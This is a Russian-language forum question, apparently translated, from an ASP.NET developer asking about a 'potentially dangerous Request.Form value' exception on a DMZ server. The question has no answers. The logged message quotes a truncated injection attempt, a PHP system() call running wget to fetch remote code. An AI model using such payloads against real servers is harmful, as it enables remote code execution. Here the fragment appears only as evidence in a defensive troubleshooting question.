ASP.net Потенциально опасное значение request.form было обнаружено клиентом

Я получаю исключение из моего веб-приложения ASP.net, которое находится на нашем сервере DMZ. Не совсем уверен, чем это вызвано и как обработать ошибку. Это исключение, которое я регистрирую.

Exception occured in: System.Web.HttpRequest.ValidateString
Message: A potentially dangerous Request.Form value was detected from the client (="<?php system("wget 2...").
Source: System.Web
Stack Trace: at System.Web.HttpRequest.ValidateString(String value, String collectionKey, RequestValidationSource requestCollection)
   at System.Web.HttpRequest.ValidateHttpValueCollection(HttpValueCollection collection, RequestValidationSource requestCollection)
   at System.Web.HttpRequest.get_Form()
   at System.Web.UI.PageRequestManager.IsAsyncPostBackRequest(HttpRequestBase request)
   at System.Web.Handlers.ScriptModule.HttpResponse_Redirecting(Object sender, EventArgs e)
   at System.Web.HttpResponse.Redirect(String url, Boolean endResponse, Boolean permanent)
   at System.Web.Security.FormsAuthenticationModule.OnLeave(Object source, EventArgs eventArgs)
   at System.Web.HttpApplication.SyncEventExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute()
   at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)

Я попытался скопировать и вставить в текстовое поле, чтобы посмотреть, возможно ли это, как повторить ошибку. Любая помощь будет принята с благодарностью.

0 ответов

Другие вопросы по тегам